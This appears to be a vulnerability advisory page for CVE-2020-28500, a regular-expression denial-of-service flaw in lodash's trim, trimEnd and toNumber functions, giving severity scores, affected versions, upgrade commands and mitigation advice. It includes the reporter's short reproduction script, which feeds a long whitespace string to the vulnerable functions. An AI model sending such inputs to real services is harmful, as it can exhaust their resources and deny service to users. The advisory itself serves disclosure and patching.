GHSA-29mw-wpgm-hmr9 CVE-2020-28500

Regular Expression Denial of Service (ReDoS) in lodash

Medium RubyGemsnpm

Severity: 5.3 / 10; Medium · CVSS 3.1
Exploit chance (EPSS): 7.34%; Chance of exploitation in the next 30 days. Higher than 94.39% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-400 Uncontrolled Resource Consumption; CWE-1333 Inefficient Regular Expression Complexity
Fix: Available; 3 packages have a fixed version

Description

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

Affected versions

RubyGems

Package	Vulnerable	Fixed in
lodash-rails	`>= 4.0.0, < 4.17.21`	`4.17.21`
lodash-rails	`>= 4.0.0, < 4.17.21`	`4.17.21`

npm

Package	Vulnerable	Fixed in
lodash	`>= 4.0.0, < 4.17.21`	`4.17.21`
lodash	`>= 4.0.0, < 4.17.21`	`4.17.21`
lodash-es	`>= 4.0.0, < 4.17.21`	`4.17.21`
lodash-es	`>= 4.0.0, < 4.17.21`	`4.17.21`
lodash.trim	`>= 4.0.0, <= 4.5.1`	No fix yet
lodash.trim	`>= 4.0.0, <= 4.5.1`	No fix yet
lodash.trimend	`>= 4.0.0, <= 4.5.1`	No fix yet
lodash.trimend	`>= 4.0.0, <= 4.5.1`	No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

lodash-rails RubyGems → `4.17.21`

bundler

bundle update lodash-rails # Gemfile: gem "lodash-rails", ">= 4.17.21"

lodash npm → `4.17.21`

npm

npm install lodash@4.17.21

yarn

yarn add lodash@4.17.21

pnpm

pnpm add lodash@4.17.21

lodash-es npm → `4.17.21`

npm

npm install lodash-es@4.17.21

yarn

yarn add lodash-es@4.17.21

pnpm

pnpm add lodash-es@4.17.21

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Attack vector: Network
Attack complexity: Low
Privileges required: None
User interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: Low

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it

Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

CWE-1333: Inefficient Regular Expression Complexity

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

How to prevent it

Architecture and Design: Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
System Configuration: Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Implementation: Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Implementation: Limit the length of the input that the regular expression will process.

References

Advisories

Fixes and patches

Packages

github.com/lodash/lodash

Timeline

Jan 6, 2022 Published
Sep 29, 2025 Last updated by the source
Oct 31, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-r5fr-rjxr-66jc lodash vulnerable to Code Injection via `_.template` imports key names	Critical	Also affects lodash
GHSA-f23m-r3pf-42rh lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`	Medium	Also affects lodash
GHSA-xxjr-mmjv-4gpg Lodash has Prototype Pollution Vulnerability in `_.unset` and `_.omit` functions	Medium	Also affects lodash
GHSA-35jh-r3h4-6jhm Command Injection in lodash	High	Also affects lodash
GHSA-p6mc-m468-83gw Prototype Pollution in lodash	High	Also affects lodash
GHSA-x5rq-j2xg-h7qm Regular Expression Denial of Service (ReDoS) in lodash	Medium	Also affects lodash
GHSA-jf85-cpcp-j695 Prototype Pollution in lodash	Critical	Also affects lodash
GHSA-4xc9-xhrj-v574 Prototype Pollution in lodash	High	Also affects lodash

Credits: DmitriyLewen, G-Rath, jkmartindale, levpachmanov, mitchell-codecov, nitaiapiiro

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